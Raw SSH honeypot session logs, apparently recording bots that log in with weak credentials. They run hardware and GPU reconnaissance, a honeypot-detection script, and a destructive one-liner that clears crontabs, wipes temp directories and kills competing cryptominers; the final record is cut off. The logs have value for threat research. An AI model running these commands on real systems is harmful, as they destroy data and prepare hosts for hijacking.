{"id":"b635a665-3087-4e32-862d-360c2fd1fdf4","name":"zealous-hollow-falcon","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":55326,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:45:03.445673+00:00","ended_at":"2026-08-26T13:45:08.046397+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"28d7e8f0-6ade-4a25-90f0-99bc462e97f1","name":"zealous-lawful-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":59582,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":397,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T13:44:57.048219+00:00","ended_at":"2026-08-26T13:45:08.045440+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1654,"events":[{"seq":1,"at":"2026-08-26T13:43:57.713350+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T13:44:01.556936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T13:44:02.041310+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T13:44:06.277903+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T13:44:06.675085+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T13:44:12.058866+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:34"},{"seq":7,"at":"2026-08-26T13:44:12.875033+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T13:44:16.278274+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T13:44:17.911885+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T13:44:21.212262+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T13:44:21.514345+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T13:44:26.415308+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T13:44:27.321781+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T13:44:31.699899+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T13:44:32.013593+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T13:44:34.994731+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T13:44:35.312495+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T13:44:39.531196+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T13:44:40.048108+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T13:44:44.547939+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T13:44:44.819107+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T13:44:47.643424+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T13:44:48.039722+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T13:44:51.385022+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T13:44:51.609671+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T13:44:57.049083+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"cde63628-65fb-401a-aa9e-d9b03d709611","name":"bashful-pewter-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":58166,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T06:45:19.668436+00:00","ended_at":"2026-08-26T06:45:21.479259+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"09bebbe7-0250-4958-886f-37c8e0fba0f1","name":"stoic-lofty-goldcrest","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":41750,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":238,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:45:14.380333+00:00","ended_at":"2026-08-26T06:45:21.489442+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1654,"events":[{"seq":1,"at":"2026-08-26T06:44:11.502525+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:44:15.612130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:44:16.028650+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:44:20.278455+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:44:20.444910+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:44:25.726461+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:34"},{"seq":7,"at":"2026-08-26T06:44:25.888581+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:44:29.555702+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:44:29.730232+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:44:32.244382+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:44:32.638703+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:44:37.559435+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:44:37.741869+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:44:43.424290+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:44:43.600850+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:44:49.396817+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:44:49.635771+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:44:55.287878+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:44:55.632115+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:44:59.432296+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:44:59.598770+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:45:05.448638+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:45:05.810146+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:45:10.140855+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T06:45:10.392242+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T06:45:14.381377+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"cd9b9faf-af79-494b-8a6e-7270513815f4","name":"prairie-vigilant-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"193.32.162.84","src_port":39780,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"","started_at":"2026-08-26T02:08:29.835652+00:00","ended_at":"2026-08-26T02:08:30.247777+00:00","ended_reason":"exec complete","commands":4,"transcript_bytes":13092,"events":[{"seq":1,"at":"2026-08-26T02:08:27.585293+00:00","kind":"input","latency_ms":null,"data":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\""},{"seq":2,"at":"2026-08-26T02:08:27.944696+00:00","kind":"input","latency_ms":null,"data":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\""},{"seq":3,"at":"2026-08-26T02:08:28.868458+00:00","kind":"input","latency_ms":null,"data":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\""},{"seq":4,"at":"2026-08-26T02:08:29.837261+00:00","kind":"input","latency_ms":null,"data":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: 